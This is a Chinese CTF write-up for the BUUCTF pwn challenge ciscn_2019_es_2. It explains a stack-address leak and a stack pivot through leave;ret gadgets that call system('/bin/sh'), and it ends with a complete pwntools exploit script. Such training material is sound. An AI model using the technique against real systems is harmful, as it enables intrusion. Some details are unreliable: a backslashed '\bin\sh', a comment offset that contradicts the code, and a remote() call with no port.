0
点赞
收藏
分享

微信扫一扫

ciscn_2019_es_2

龙毓七七 2022-03-11 阅读 73

题目链接

安全策略

[*] '/root/ctf/buuctf/pwn/ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8046000)

分析

溢出点

sym.vul函数存在两个溢出点,read函数向0x28大小的栈中读入0x30个字节。但问题在于可以操作的空间只有4个字节,无法传入一个完整的ROP链。

注意到题目提供了两个溢出,这个很值得玩味,猜测应该是第一个用来溢出,第二个用来劫持。

栈地址

如下图栈结构所示,注意到ebp的值0xfffd898距离输入的aaaa字符串的地址偏移是0x38。

00:0000│ esp 0xffffd850 ◂— 0x0
01:0004│     0xffffd854 —▸ 0xffffd860 ◂— 'aaaa\n'
02:0008│     0xffffd858 ◂— 0x30 /* '0' */
03:000c│     0xffffd85c —▸ 0xf7fcfd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0010│ ecx 0xffffd860 ◂— 'aaaa\n'
05:0014│     0xffffd864 ◂— 0xa /* '\n' */
06:0018│     0xffffd868 ◂— 0x0
... ↓        5 skipped
0c:0030│     0xffffd880 —▸ 0x80486d8 ◂— push   edi /* "Welcome, my friend. What's your name?" */
0d:0034│     0xffffd884 —▸ 0xffffd944 —▸ 0xffffdac9 ◂— '/root/ctf/buuctf/pwn/ciscn_2019_es_2'
0e:0038│ ebp 0xffffd888 —▸ 0xffffd898 ◂— 0x0

因此可以利用第一组read-print泄露ebp的值,从而获得栈空间的地址。

payload1 = b'a' * 0x28

当然这里也可以利用其他的方式泄露栈空间地址,下面完整exp就是用的另一种方式,但是在输出的时候,有可能因为中间出现\x00而失败。

栈劫持

要劫持到栈的话,需要用到gadgets leave; ret

利用gdb调试到0x80485fd leave指令,此时$ebp = 0xffffd888, 而[0xffffd888] = 0xffffd898。执行后$esp = 0xffffd888 + 0x4 = 0xffffd88c$ebp=0xffffd898

因此如果我们在read写入时,将ebp覆盖为一个可控的地址,同时在这个地址写入rop链,就能成功劫持程序。

如果我们覆盖栈的返回地址为leave;retgadget,正常运行到0x80485fd leave指令时,ebp的结构如下,

#  ebp_n 表示栈中的地址
#  [ebp_1] = value, ebp_1也就是我们利用read溢出时覆盖的值
$ebp -> ebp_0 -> ebp_1 <- value

第一次正常的leave-ret运行后

$ebp -> ebp_1 <- value
$esp -> ebp_0 + 0x4

第二次运行溢出的leave-ret后

$ebp -> value
$esp -> ebp_1 + 0x4

如果我们令ebp_1 + 0x4 指向栈开始的位置,并且在栈中写入system的ROP链,就能通过两次leave-ret返回到system。

# padding_addr 是第一次时获取的字符串在栈中的存储地址
# 按下面方式构造payload时,\bin\sh的地址是padding_addr + 0xc * 3
payload2 = p32(system) + p32(0) + p32(padding_addr + 0xc) + b'\bin\sh'
payload2 = payload2.ljust(0x28, b'\x00')
# ebp_1 + 0x4 = padding_addr, 因此ebp_1 = padding_addr - 0x4
payload2 += p32(padding_addr - 0x4)	# 覆盖ebp
payload2 += p32(leave_ret)

exp

from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386')

if len(sys.argv) > 1:
  conn = remote('node4.buuoj.cn',)
else:
  conn = process(sys.argv[0][:-7])
  gdb.attach(conn, 'b *0x08048595')

# gadgets
hack = 0x0804854b
system = 0x08048400
flag = 0x080486c5
echo_flag = 0x080486c0
vuln = 0x08048595
leave_ret = 0x08048562

conn.recvuntil(b'your name?\n')
payload1 = cyclic(0x28 + 0x4) 
conn.send(payload1)
res = conn.recvline()
stack_addr = u32(res[-5:-1])
padding_addr = stack_addr - 0x50
print(f'stack_addr: {hex(padding_addr)}')
payload2 = p32(system) + p32(0) + p32(padding_addr + 0xc) +  b'/bin/sh'
payload2 = payload2.ljust(0x28, b'\x00') + p32(padding_addr-4) + p32(leave_ret)
conn.send(payload2)
conn.recv()

conn.interactive()
举报

相关推荐

0 条评论